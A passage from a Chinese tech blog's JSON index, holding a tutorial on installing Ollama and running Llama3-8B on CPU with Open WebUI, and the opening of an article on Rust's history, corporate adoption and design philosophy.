https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/04/24/go-journey-at-google/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-journey-at-google-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/04/24/go-journey-at-google\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/04/24/go-journey-at-google\"\u003ehttps://tonybai.com/2024/04/24/go-journey-at-google\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e2007年Go诞生于Google，2009年Google正式对外宣布了Go语言的开源！时至今日，\u003ca href=\"https://tonybai.com/2023/11/11/go-opensource-14-years/\"\u003e距离Go开源已经过去了近15个年头了\u003c/a\u003e！Go在Google公司内部究竟是怎样的一个状态呢？前Google员工Yves Junqueira近期撰文从其个人所见所闻谈了\u003ca href=\"https://i-admin.cetico.org/posts/early-days-golang-google/\"\u003eGo在Google的历程\u003c/a\u003e！这里简单翻译，供大家参考！\u003c/p\u003e","title":"从零到生产：Go在Google的历程[译]"},{"content":"\n本文永久链接 – https://tonybai.com/2024/04/23/playing-with-meta-llama3-8b-on-cpu-using-ollama-and-openwebui\n2024年4月18日，meta开源了Llama 3大模型，虽然只有8B和70B两个版本，但Llama 3表现出来的强大能力还是让AI大模型界为之震撼了一番，本人亲测Llama3-70B版本的推理能力十分接近于OpenAI的GPT-4，何况还有一个400B的超大模型还在路上，据说再过几个月能发布。\nGithub上人气巨火的本地大模型部署和运行工具项目Ollama也在第一时间宣布了对Llama3的支持：\n近期除了学习Rust，还有就在研究如何将LLM应用于产品中。以前走微调的路径行不通，最近的RAG(Retrieval-Augmented Generation)和Agent路径则让我看到一丝曙光。不过实施这两个路径的前提是一个强大的LLM，而开源的meta Llama系列LLM则是不二之选。\n在这篇文章中，我就先来体验一下如何基于Ollama安装和运行Meta Llama3-8B大模型，并通过兼容Ollama API的OpenWebUI建立对大模型的Web图形化访问方式。\n1. 安装Ollama Ollama是一个由Go实现的、可以在本地丝滑地安装和运行各种开源大模型的工具，支持目前国内外很多主流的开源大模型，比如Llama、Mistral、Gemma、DBRX、Qwen、phi、vicuna、yi、falcon等。其支持的全量模型列表可以在Ollama library查看。\nOllama的安装采用了“curl | sh”，我们可以一键将其下载并安装到本地：\n$curl -fsSL https://ollama.com/install.sh | sh \u0026gt;\u0026gt;\u0026gt; Downloading ollama... ######################################################################## 100.0% \u0026gt;\u0026gt;\u0026gt; Installing ollama to /usr/local/bin... \u0026gt;\u0026gt;\u0026gt; Creating ollama user... \u0026gt;\u0026gt;\u0026gt; Adding ollama user to video group... \u0026gt;\u0026gt;\u0026gt; Adding current user to ollama group... \u0026gt;\u0026gt;\u0026gt; Creating ollama systemd service... \u0026gt;\u0026gt;\u0026gt; Enabling and starting ollama service... Created symlink from /etc/systemd/system/default.target.wants/ollama.service to /etc/systemd/system/ollama.service. \u0026gt;\u0026gt;\u0026gt; The Ollama API is now available at 127.0.0.1:11434. \u0026gt;\u0026gt;\u0026gt; Install complete. Run \u0026quot;ollama\u0026quot; from the command line. WARNING: No NVIDIA/AMD GPU detected. Ollama will run in CPU-only mode. 我们看到Ollama下载后启动了一个ollama systemd service，这个服务就是Ollama的核心API服务，它常驻内存。通过systemctl可以确认一下该服务的运行状态：\n$systemctl status ollama ● ollama.service - Ollama Service Loaded: loaded (/etc/systemd/system/ollama.service; enabled; vendor preset: disabled) Active: active (running) since 一 2024-04-22 17:51:18 CST; 11h ago Main PID: 9576 (ollama) Tasks: 22 Memory: 463.5M CGroup: /system.slice/ollama.service └─9576 /usr/local/bin/ollama serve 另外我对Ollama的systemd unit文件做了一些改动，我修改了一下Environment的值，增加了”OLLAMA_HOST=0.0.0.0″，这样便于后续在容器中运行的OpenWebUI可以访问到Ollama API服务：\n# cat /etc/systemd/system/ollama.service [Unit] Description=Ollama Service After=network-online.target [Service] ExecStart=/usr/local/bin/ollama serve User=ollama Group=ollama Restart=always RestartSec=3 Environment=\u0026quot;PATH=/root/.cargo/bin:/usr/local/cmake/bin:/usr/local/bin:.:/root/.bin/go1.21.4/bin:/root/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin\u0026quot; \u0026quot;OLLAMA_HOST=0.0.0.0\u0026quot; [Install] WantedBy=default.target 修改后执行下面命令使之生效：\n$systemctl daemon-reload $systemctl restart ollama 2. 下载和运行大模型 Ollama支持一键下载和运行模型。我手里有一个16/32G的云虚机，但没有GPU，因此这里我使用的是Llama3-8B指令微调后的用于chat/diaglogue的模型，我们只需要通过下面命令便可以快速下载并运行该模型(4bit量化的)：\n$ollama run llama3 pulling manifest pulling 00e1317cbf74... 0% ▕ ▏ 0 B/4.7 GB pulling 00e1317cbf74... 7% ▕█ ▏ 331 MB/4.7 GB 34 MB/s 2m3s^C pulling manifest pulling manifest pulling manifest pulling manifest pulling 00e1317cbf74... 61% ▕█████████ ▏ 2.8 GB/4.7 GB 21 MB/s 1m23s^C ... ... 下载和执行成功后，该命令行便会等待你的问题输入，我们随便输入一个关于Go的问题，下面是输出结果：\n$ollama run llama3 \u0026gt;\u0026gt;\u0026gt; could you tell me something about golang language? Go! Here are some interesting facts and features about the Go programming language: **What is Go?** Go, also known as Golang, is a statically typed, compiled, and designed to be concurrent and garbage-collected language. It was developed by Google in 2009. **Key Features:** 1. **Concurrency**: Go has built-in concurrency support through goroutines (lightweight threads) and channels (communication mechanisms). This makes it easy to write concurrent programs. 2. **Garbage Collection**: Go has a automatic garbage collector, which frees developers from worrying about memory management. 3. **Static Typing**: Go is statically typed, meaning that the type system checks the types of variables at compile time, preventing type-related errors at runtime. 4. **Simple Syntax**: Go's syntax is designed to be simple and easy to read. It has a minimalistic approach to programming language design. ... ... 推理速度大约在5~6个token吧，尚可接受，但这个过程是相当耗CPU：\n除了通过命令行方式与Ollama API服务交互之外，我们还可以用Ollama的restful API：\n$curl http://localhost:11434/api/generate -d '{ \u0026gt; \u0026quot;model\u0026quot;: \u0026quot;llama3\u0026quot;, \u0026gt; \u0026quot;prompt\u0026quot;:\u0026quot;Why is the sky blue?\u0026quot; \u0026gt; }' {\u0026quot;model\u0026quot;:\u0026quot;llama3\u0026quot;,\u0026quot;created_at\u0026quot;:\u0026quot;2024-04-22T07:02:36.394785618Z\u0026quot;,\u0026quot;response\u0026quot;:\u0026quot;The\u0026quot;,\u0026quot;done\u0026quot;:false} {\u0026quot;model\u0026quot;:\u0026quot;llama3\u0026quot;,\u0026quot;created_at\u0026quot;:\u0026quot;2024-04-22T07:02:36.564938841Z\u0026quot;,\u0026quot;response\u0026quot;:\u0026quot; color\u0026quot;,\u0026quot;done\u0026quot;:false} {\u0026quot;model\u0026quot;:\u0026quot;llama3\u0026quot;,\u0026quot;created_at\u0026quot;:\u0026quot;2024-04-22T07:02:36.745215652Z\u0026quot;,\u0026quot;response\u0026quot;:\u0026quot; of\u0026quot;,\u0026quot;done\u0026quot;:false} {\u0026quot;model\u0026quot;:\u0026quot;llama3\u0026quot;,\u0026quot;created_at\u0026quot;:\u0026quot;2024-04-22T07:02:36.926111842Z\u0026quot;,\u0026quot;response\u0026quot;:\u0026quot; the\u0026quot;,\u0026quot;done\u0026quot;:false} {\u0026quot;model\u0026quot;:\u0026quot;llama3\u0026quot;,\u0026quot;created_at\u0026quot;:\u0026quot;2024-04-22T07:02:37.107460031Z\u0026quot;,\u0026quot;response\u0026quot;:\u0026quot; sky\u0026quot;,\u0026quot;done\u0026quot;:false} {\u0026quot;model\u0026quot;:\u0026quot;llama3\u0026quot;,\u0026quot;created_at\u0026quot;:\u0026quot;2024-04-22T07:02:37.287201658Z\u0026quot;,\u0026quot;response\u0026quot;:\u0026quot; can\u0026quot;,\u0026quot;done\u0026quot;:false} {\u0026quot;model\u0026quot;:\u0026quot;llama3\u0026quot;,\u0026quot;created_at\u0026quot;:\u0026quot;2024-04-22T07:02:37.468517901Z\u0026quot;,\u0026quot;response\u0026quot;:\u0026quot; vary\u0026quot;,\u0026quot;done\u0026quot;:false} {\u0026quot;model\u0026quot;:\u0026quot;llama3\u0026quot;,\u0026quot;created_at\u0026quot;:\u0026quot;2024-04-22T07:02:37.649011829Z\u0026quot;,\u0026quot;response\u0026quot;:\u0026quot; depending\u0026quot;,\u0026quot;done\u0026quot;:false} {\u0026quot;model\u0026quot;:\u0026quot;llama3\u0026quot;,\u0026quot;created_at\u0026quot;:\u0026quot;2024-04-22T07:02:37.789353456Z\u0026quot;,\u0026quot;response\u0026quot;:\u0026quot; on\u0026quot;,\u0026quot;done\u0026quot;:false} {\u0026quot;model\u0026quot;:\u0026quot;llama3\u0026quot;,\u0026quot;created_at\u0026quot;:\u0026quot;2024-04-22T07:02:37.969236546Z\u0026quot;,\u0026quot;response\u0026quot;:\u0026quot; the\u0026quot;,\u0026quot;done\u0026quot;:false} {\u0026quot;model\u0026quot;:\u0026quot;llama3\u0026quot;,\u0026quot;created_at\u0026quot;:\u0026quot;2024-04-22T07:02:38.15172159Z\u0026quot;,\u0026quot;response\u0026quot;:\u0026quot; time\u0026quot;,\u0026quot;done\u0026quot;:false} {\u0026quot;model\u0026quot;:\u0026quot;llama3\u0026quot;,\u0026quot;created_at\u0026quot;:\u0026quot;2024-04-22T07:02:38.333323271Z\u0026quot;,\u0026quot;response\u0026quot;:\u0026quot; of\u0026quot;,\u0026quot;done\u0026quot;:false} {\u0026quot;model\u0026quot;:\u0026quot;llama3\u0026quot;,\u0026quot;created_at\u0026quot;:\u0026quot;2024-04-22T07:02:38.514564929Z\u0026quot;,\u0026quot;response\u0026quot;:\u0026quot; day\u0026quot;,\u0026quot;done\u0026quot;:false} {\u0026quot;model\u0026quot;:\u0026quot;llama3\u0026quot;,\u0026quot;created_at\u0026quot;:\u0026quot;2024-04-22T07:02:38.693824676Z\u0026quot;,\u0026quot;response\u0026quot;:\u0026quot;,\u0026quot;,\u0026quot;done\u0026quot;:false} ... ... 不过我日常使用大模型最为广泛的方式还是通过Web UI进行交互。目前有很多支持Ollama API的Web \u0026amp; Desktop项目，这里我们选取Open WebUI，它的前身就是Ollama WebUI。\n3. 安装和使用Open WebUI与大模型交互 最快体验Open WebUI的方式当然是使用容器安装，不过官方镜像站点ghcr.io/open-webui/open-webui:main下载太慢，我找了一个位于Docker Hub上的个人mirror镜像，下面是在本地安装Open WebUI的命令：\n$docker run -d -p 13000:8080 --add-host=host.docker.internal:host-gateway -v open-webui:/app/backend/data -e OLLAMA_BASE_URL=http://host.docker.internal:11434 --name open-webui --restart always dyrnq/open-webui:main 容器启动后，我们在host上访问13000端口即可打开Open WebUI页面：\n首个注册的用户，将会被Open WebUI认为是admin用户！注册登录后，我们就可以进入首页：\n选择model后，我们便可以输入问题，并与Ollama部署的Llama3模型对话了：\n注：如果Open WebUI运行不正常，可以通过查看openwebui的容器日志来辅助诊断问题。\nOpen WebUI的功能还有很多，大家可以自行慢慢挖掘:)。\n4. 小结 在本文中，我介绍了Meta开源的Llama 3大模型以及Ollama和OpenWebUI的使用。Llama 3是一个强大的AI大模型，实测接近于OpenAI的GPT-4，并且还有一个更强大的400B模型即将发布。Ollama是一个用于本地部署和运行大模型的工具，支持多个国内外开源模型，包括Llama在内。我详细介绍了如何安装和运行Ollama，并使用Ollama下载和运行Llama3-8B模型。展示了通过命令行和REST API与Ollama进行交互，以及模型的推理速度和CPU消耗。此外，我还提到了OpenWebUI，一种兼容Ollama API的Web图形化访问方式。通过Ollama和OpenWebUI，大家可以方便地在CPU上使用Meta Llama3-8B大模型进行推理任务，并获得满意的结果。\n后续，我将进一步研究如何将Llama3应用于产品中，并探索RAG（Retrieval-Augmented Generation）和Agent技术的潜力。这两种路径可以为基于Llama3的大模型应用开发带来新的可能性。\nGopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/04/23/playing-with-meta-llama3-8b-on-cpu-using-ollama-and-openwebui/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/playing-with-meta-llama3-8b-on-cpu-using-ollama-and-openwebui-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/04/23/playing-with-meta-llama3-8b-on-cpu-using-ollama-and-openwebui\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/04/23/playing-with-meta-llama3-8b-on-cpu-using-ollama-and-openwebui\"\u003ehttps://tonybai.com/2024/04/23/playing-with-meta-llama3-8b-on-cpu-using-ollama-and-openwebui\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e2024年4月18日，\u003ca href=\"https://ai.meta.com/blog/meta-llama-3/\"\u003emeta开源了Llama 3大模型\u003c/a\u003e，虽然只有\u003ca href=\"https://huggingface.co/meta-llama/Meta-Llama-3-8B\"\u003e8B\u003c/a\u003e和\u003ca href=\"https://huggingface.co/meta-llama/Meta-Llama-3-70B\"\u003e70B\u003c/a\u003e两个版本，但Llama 3表现出来的强大能力还是让AI大模型界为之震撼了一番，本人亲测Llama3-70B版本的推理能力十分接近于\u003ca href=\"https://openai.com/research/gpt-4\"\u003eOpenAI的GPT-4\u003c/a\u003e，何况还有一个400B的超大模型还在路上，据说再过几个月能发布。\u003c/p\u003e","title":"使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B"},{"content":"\n本文永久链接 – https://tonybai.com/2024/04/22/gopher-rust-first-lesson-all-about-rust\n要说这两年后端编程语言谁最火，Rust说自己第二，没人敢说第一。Rust连续8年霸榜stackoverflow最受推崇的编程语言，甚至被推特之父Jack Dorsey称为“完美的编程语言”：\n注：最火：仅代表人气最旺，最受欢迎，但并不代表使用者最多。\n如果你经常读我的博客，你可能会问：“你不是Go语言布道师吗？怎么也要转Rust了？”其实不然，学习Rust不是要蹭热度，而是实际开发的需要。这些年在汽车行业这个赛道上，云端和车端都要兼顾。目前车端基础软件的开发语言主要是C/C++，但内存安全、性能不输C且高可靠的Rust日益受到车载软件开发的青睐，AUTOSAR组织在2022年成立了Rust工作组就是一个重要的信号。并且据我所知，一些国内造车新势力已经或正在将一些Rust开发的中间件或应用放到了量产车或即将量产的车上。\n注：AUTOSAR (Automotive Open System Architecture) 是一个面向汽车电子系统的开放式软件架构标准，由汽车制造商、零部件供应商和电子供应商共同发起并持续维护的一个全球性标准化组织。\n不过，Rust语言在某些领域的崛起确实引发了其他编程语言社区的一些不满和争议。特别是Rust社区的一些人提出“Rewrite Everything in Rust”的观点，让很多编程语言社区，尤其是C++社区十分不安。Go社区则相对更加开放和友好的，主流观点是Go与Rust是可以互补的，两种语言在各自的优势领域发挥作用，通过合作而非对抗的方式，能为开发者提供更好的选择。更多细节，可以参考几年前我曾翻译过的前Go团队产品经理、gohugo的作者Steve Francia联合创作的一篇文章《Rust vs. Go：为什么强强联合会更好》。\n也就是说Go依然是我的主力语言，但考虑工作上的需要，我要系统学学Rust了。为了避免“从入门到放弃”，我打算采用边学习边输出的方式，一方面可以督促自己学习，另一方面也希望能和读者及时互动，纠正学习中的错误理解。\n我的Go语言第一课专栏广受欢迎，其知识结构想必也是大家认可的，这里我就仿照其形式，写一下学习Rust的第一课这个入门系列。\n正如我在Go语言第一课专栏所说的那样：我一直认为，当你开始接触一门新语言的时候，你一定要去了解它的历史和现状。因为这样，你才能建立起对这门语言的整体认知，了解它未来的走向。而且，也能建立起学习的“安全感”，即相信它能够给你带来足够的价值和收益，更加坚定地学习下去。\n在这篇文章中，我就先来了解一下Rust的诞生历史和现状发展，以及它独特的设计哲学。并与Go语言做个简单对比，希望能够让自己和读者对Rust有一个初步的认识。\n1.1 Rust的历史与现状 1.1.1 Rust的诞生与演进 Rust诞生于2006年，这比Google三巨头“密谋”创建Go语言还要早上一年。不过和Go的三位创始人：图灵奖获得者、C语法联合发明人、Unix之父肯·汤普森（Ken Thompson），Plan 9操作系统领导者、UTF-8编码的最初设计者罗伯·派克（Rob Pike），以及Java的HotSpot虚拟机和Chrome浏览器的JavaScript V8引擎的设计者之一罗伯特·格瑞史莫（Robert Griesemer）相比，Rust之父格雷登·霍尔（Graydon Hoare）的身份和江湖地位却没有那么“显赫”。彼时的他只是Mozilla Research的一位加拿大籍的、不到30岁的开发人员：\n注：Graydon Hoare这个人非常低调，极少在公开场合露面，因此在网络上很难找到他的肖像，上面图中的肖像来自https://www.crunchbase.com/person/graydon-hoare，我这里甚至不能保证这个肖像就是Hoare本人的。\n新生代编程语言的诞生都伴随着一段轶事，比如Go语言的创始人们在Google内部经常遇到C++项目漫长的编译时间问题，每当他们启动一个C++项目的编译，都要等很长时间，期间都能喝上几杯咖啡。这让他们深有感触并意识到需要设计一门编译速度更快的新语言，于是Go语言就这样诞生了。和Go语言“喝咖啡，等C++项目编译”类似，Rust的诞生也有一段轶事：\n2006年，29岁的Hoare有一天回到温哥华的家中，但他发现电梯坏了，电梯软件崩溃了！他不得不爬楼梯回到位于21层的家中。当他爬上楼梯时，他感到很恼火。他想：“我们做计算机编程的人居然无法制造出一部可以正常工作而不崩溃的电梯！” Hoare知道，许多此类崩溃都是由于程序使用内存的问题造成的。电梯等设备内部的软件通常是用C++或C语言编写的，这些语言以允许程序员编写运行速度非常快且相当紧凑的代码而闻名。问题是这些语言也很容易意外引入内存错误，这些错误会导致崩溃。Hoare决定对此做点什么。于是他打开笔记本电脑，开始设计一种新的计算机语言，他希望这种语言能够编写小而快速的代码，而不会出现内存错误，他将其命名为Rust。\n这段轶事显然不可考证了。但可以确定的是从2006年开始的若干年里，Hoare创建的个人语言项目Rust并没有真正的用于改善电梯系统的程序，而是在得到了Mozilla的赞助下，用在了持续开发Mozilla的浏览器引擎Servo上了，Mozilla在2010年官宣了该项目，Hoare在2010年的一次演讲中也第一次介绍了Rust语言：\nRust开源的第一行代码也是在2010年完成的：\n此外，最初的Rust编译器是由OCaml实现的，2011年Rust团队使用Rust基于LLVM重新实现了编译器并实现了自举。同年，Rust也有了自己的LOGO，其设计灵感来自于自行车齿盘：\n2012年，Graydon Hoare接受InfoQ专访，谈及他带领Rust team在Mozilla开发的系统编程语言Rust，包括Rust的特性、Rust相对于C/C++/Java/Go的优势与不同以及Rust的1.0版本发布计划。\n但是，就在下一年，即2013年，Graydon Hoare就因为精力耗尽而辞去了Rust team的领导职务，离开了自己的Rust team，并从此远离了Rust开发。Hoare的离开对Rust team和语言本身来说是一次重大的损失，但Rust社区和团队采取了积极的措施来确保Rust的持续发展和演进。\n2014年11月，Rust官宣了cargo和crates.io，前者是Rust项目构建管理器，后者则是Rust官方维护的Rust代码的中央包存储库，通过cargo可以轻松构建和发布包到crates.io，或从crates.io上拉取Rust代码的依赖。\n2015年5月15日，Rust迎来了一个里程碑的时刻：Rust 1.0正式发布！ ，这要比Go发布1.0版本迟了3年。但正如官博所说：“1.0版本的发布标志着混乱的结束。此版本是我们对稳定性承诺的正式开始，因此它为构建应用程序和库提供了坚实的基础。从现在开始，重大更改基本上超出了范围（一些小的警告适用，例如编译器错误）”。\nRust 1.0发布后，Rust的版本发布周期与节奏也得以确定下来，即每6周发布一个稳定版本，按照这个节奏，与Rust 1.0同时发布的还有Rust 1.1 Beta版本。经过六周的测试后，Rust 1.1 Beta转为Rust 1.1稳定版本，同时发布Rust 1.2 Beta版本，依次类推。当然，Rust还有一个nightly build版本，这个版本包含了最新但不稳定的特性。和Go社区和开发人员每年只能high两次相比，Rust开发者和社区更加幸运，每六周就能high一次！\nRust的演进是基于RFC（Request For Comments）驱动的，并且这一措施是早于Rust 1.0发布前就基于RFC确定下来的。这与Go的Proposal process类似，但感觉比Go的流程更规范和严谨，当然这与两种语言的治理结构的组成和规则有关。\n然而，Rust 1.0的发布只是Rust语言发展的一个新起点，这件事并没有像Go语言在2009年宣布开源那样获得足够的曝光度并赢得TIOBE年度最佳编程语言的称号。\nRust之后的发展依旧是一波三折，这主要也是缘于Rust当时没有一个“好爹”：\nTIOBE Rust曲线(2012~2024.3)\n2020年，Rust语言迎来了自己诞生以来的至暗时刻。因新冠疫情全球流行导致的业绩下滑，2020年8月，Mozilla解雇了全球1000名员工中的250名，这其中就包含Servo引擎背后的团队。该事件引起了人们对Rust未来的担忧，因为团队的一些成员是Rust的主要贡献者。\n但塞翁失马焉知非福，2021年2月8日，由五家创始公司（AWS、华为、谷歌、微软和Mozilla）共同赞助的独立非营利组织Rust基金会宣布成立！Rust团队终于有了新家，并且这次除了亲爹Mozilla外，还有四个财大气粗、执IT牛耳的干爹，Rust语言的未来一下变得光明了。\n实际上Rust的发展也是如此，从2021年基金会成立至今(2024.4)，Rust取得了长足的发展：语言特性不断增强，编译器性能持续优化，生态系统日渐壮大和完善，增加和完善了对WebAssembly、嵌入式、大数据、区块链、人工智能等领域的支持。下面我们就来说说Rust语言的现状。\n1.1.2 Rust的现状发展 1.1.2.1 语言排名 虽然Rust热度很高，但在语言排名方面与几乎同期的Go还有一定差距，在2024.3月的TIOBE排名中，Go稳居第8位，而Rust虽然刷新了自己的历史最高排名，但也仅仅排在第17位：\nTIOBE Rust 2024.3排名\n在Redmonk 2024.1月排名中，Rust位列19位，Go位列12位：\nRedmonk Rust 2024.1排名\n不过，Rust的热度和社区活跃度甚至要高于Go，究其根源，我认为还是与两个开源语言的治理结构有关，下面是Go和Rust在Reddit论坛上的拥趸数量与在线人数对比（2024.4.6 21:39北京时间）：\n如果能持续保持住这样的热度和发展势头，Rust可能在未来几年迅速接近Go的位置，甚至超越也是有很大可能的。\n和Go开发人员自称Gopher类似，Rust开发人员自称Rustacean，这是一个结合了“Rust”和“Crustacean”（甲壳类）两个词语的组合词。此外，Rust社区还设计了Rust的非官方吉祥物(mascot)：Ferris，一只可爱的红色螃蟹，它是由设计师Karen Rustad Tölva在2010年创作的。Ferris象征着Rust语言的安全性、并发性和生产力，同时也代表着Rust社区的活跃和友好。\ncrates.io上还有一个名为ferris-says的crate，可以用来打印Ferris吉祥物相关的文字，可以输出像下面这样的ASCII字符拼接出的Ferris形象：\n1.1.2.2 语言采纳 从上面TIOBE的Rust排名曲线来看，Rust在2018 edition和2021 edition前后到达过两个“尖峰”。各大公司以及初创也基本都是在2018 edition之后开始逐渐采纳Rust的。\n注：关于Rust edition，感兴趣的读者可以先参考Rust官方文档，在后续学习cargo和Rust项目编译构建的时候，我们还会深入学习和理解edition。\n接下来，我们列举一下Rust基金会创始公司以及其他一些知名IT公司和组织对Rust的采纳情况。\nAWS 除了成为Rust基金会创始成员，让大家真正知道了AWS对Rust投入的决心外，真正让大家看到AWS内部大量使用Rust的文章是2022年2月AWS在官博发表的一篇名为Sustainability with Rust的文章，这篇文章介绍了Rust在AWS内部基础设施构建上发挥的关键作用，包括用Rust进行Firecracker、AWS Lambda、Amazon S3、 Bottlerocket等开发。这篇文章还引用了一篇2017年发表的论文Energy Efficiency across Programming Languages中的结论，认为Rust在能耗方面的优势是其他语言如Go、Java不能匹敌的，这一定程度上引发了争议，记得Russ Cox在Twitter上海批驳了这篇文章中引用的数据不准确。\n华为 作为国内以一己之力力抗美帝的通信、IT、手机、汽车等多赛道公司，同样也是拥有处理器、OS、编译器等全技术栈的研发型公司，华为对Rust这一的系统级编程语言尤为青睐。但从公开资料上能看到的东西不多，从华为可信编程实验室的主页上，我们看到了Rust在华为应用的一些情况。\n华为的目标是在全球最大的电信行业设计值得信赖的软件系统。华为正在努力将部分代码库迁移到Rust，它比C/C++更安全且性能更高。为了帮助开发人员完成这个过程，华为利用开源C2Rust翻译器直接从C生成Rust代码。\nhuawei还在内部用Rust开发了一组丰富的内部库，这些库围绕基于actor的并发范式而构建，这样利用Rust语言功能（例如async、await等）简化了异步编程。\nGoogle Google已将Rust应用到Chromium、Android和FuchsiaOS中，其中Chromium对Rust的支持处于实验阶段。开发者可以使用Rust来开发适用于Android和FuchsiaOS的组件，并且Rust在Android和FuchsiaOS的内部代码中使用的比例相当大，特别是FuchsiaOS，Rust代码已经超过50%。由于内部Cpp代码量较大，2022年10月，谷歌推出了基于开源RISC-V芯片的新型安全操作系统KataOS。Sparrow是KataOS的参考实现，运行在seL4上，几乎完全用Rust编写。该操作系统不是为台式电脑或智能手机设计的，而是为物联网设计的，可用于智能家居设备。目标是为嵌入式硬件或边缘设备构建可验证的安全操作系统，例如捕获图像的网络连接摄像头，这些图像在设备上或云中处理以进行机器学习。在2022年发布的Android 13版本中，谷歌还宣布Android版本13中大约21%的新原生代码（C/C++/Rust）是Rust。AOSP拥有约150万行Rust代码，涵盖了新功能和组件。此外，Android的Rust代码中已发现零内存安全漏洞。为了实现提高Android内部安全性、稳定性和质量的目标，Android团队还表示，Rust应该用在代码库中需要原生代码的任何地方。\n微软 Microsoft拥有世界上最大的用C/C++编写的代码集合之一，其所有核心产品（例如Windows、Office和Azure云）均使用该代码。2019年，微软开始探索内存安全的编程语言，并试用了Rust。随后，Rust for Windows Library在GitHub上开源，使Rust开发人员能够顺利使用Windows API。\n2022年，微软Azure CTO Mark Russinovich表示，新项目不应再使用C和C++。他建议，Rust应该用于需要非GC语言的项目，以提高安全性和可靠性。\n2023年7月，微软宣布在Windows 11 Insider Preview Build 25905版本中发布了Rust参与编写的Windows内核模块。其中包含了一个 GDI 引擎的实现。\nMeta（前身为Facebook) 虽然不是创始成员，但财大气粗的Meta目前已经是唯一非创始成员的铂金赞助商了。Meta历史上以C++为主，但从2021年开始，Rust便开始大量使用Rust了，并成为Meta支持的服务器端语言列表中的最新成员。\nMeta在2021和2022年先后发表过A brief history of Rust at Facebook和Programming languages endorsed for server-side use at Meta详细说明了Rust在Meta内部的应用，感兴趣的读者可以去看看。\nLinux基金会 炒得沸沸扬扬的在Linux Kernel中支持Rust语言终于尘埃落定，Linux Kernel 6.1版本对Rust提供了支持。Rust同时进入Windows、Linux内核，这让Rust的江湖地位得到进一步提升。相信未来，Rust在两大操作系统内核中的代码比例会逐步提升的。\n其他一些公司对Rust的应用 2024年初，cloudflare公司开源了其内部替代nginx的Rust库pingora，作为业界一家提供互联网基础设施和网络服务的公司，其采用Rust的示范效应也是非常明显的。\ninfluxdb的母公司influxdata在2023年发布了influxdb 3.0版本，该版本采用Rust全面重写。不光是influxdb，诸多新兴时序数据库都采用了Rust技术栈(+Arrow+Parquet+DataFusion)，比如greptimedb、cnosdb、CeresDB等。\n字节跳动内部服务大量使用Go，但这几年也有一些Rust爱好者在字节内部布道Rust，并开源了诸如Rust RPC框架volo、基于io-uring的Rust async runtime monoio等。\n埃隆马斯克的xAI在2024年发布的grok-1大模型中，Rust开发的Qdrant向量数据库也发挥了重要作用，也是Rust在AI领域应用迈出的重要一步。\n1.1.2.3 应用领域 在Rust官网，我们能看到官方列出的Rust应用的四大领域：\n在这四个领域中，Rust都有非常活跃的发展和应用，每个领域都有大量的优秀开源项目，这里无法穷尽，大家可以参考与awesome-go类似的awesome-rust项目查看自己关于领域的开源项目。\n1.1.2.4 工作机会与薪酬 从devjobsscanner统计的2023年的各个编程语言的工作需求来看，Rust目前依旧比较小众！\n从stackoverflow 2023薪酬统计来看，Rust薪资位于中游：\n另外4 day week的工作数量和薪酬分析也印证了上面两点：Rust小众(工作数量相对较少)，薪酬位于中游：\n国内Rust的工作数量与国际相同，都处于较少的位置，但国内Rust薪酬数据可能并不低，因为这些Rust岗位基本都在一线大厂，或是拿了较多融资的初创，待遇可能都比较不错。\n了解了Rust的诞生和演化历史以及Rust的不错的现状后，我们再来看看Rust的设计哲学。\n1.2 Rust的设计哲学 设计哲学之于编程语言，就好比一个人的价值观之于这个人的行为。因为如果你不认同一个人的价值观，那你其实很难与之持续交往下去，即所谓道不同不相为谋。类似的，如果你不认同一门编程语言的设计哲学，那么大概率你在后续的语言学习中，就会遇到上面提到的这些问题，而且可能会让你失去继续学习的精神动力。因此，在真正开始学习Rust语法和编码之前，我们还需要先来了解一下Rust的设计哲学，等了解完这些之后，你就能更深刻地认识到自己学习Rust的原因了。\n1.2.1 Rust核心价值观 2019年6月，Rust核心组成员Stephen Klabnik在QCon London发表了一次名为How Rust Views Tradeoffs的演讲，在这次演讲中，他阐述了他个人理解的Rust的核心价值观，这些价值观是Rust team在做设计取舍时拒绝妥协的点，它们包括内存安全、执行速度和生产力：\n按照Stephen Klabnik的说法，这三个核心价值观也是有序的，首先是内存安全，这是Rust最为在乎的立身之本，其次是高性能，最后是生产力。当它们之间出现冲突时，按最高价值观决策！\n这其实与Rust官方对Rust的介绍也是一样的：\n官方的Reliable对应的就是内存安全（memory 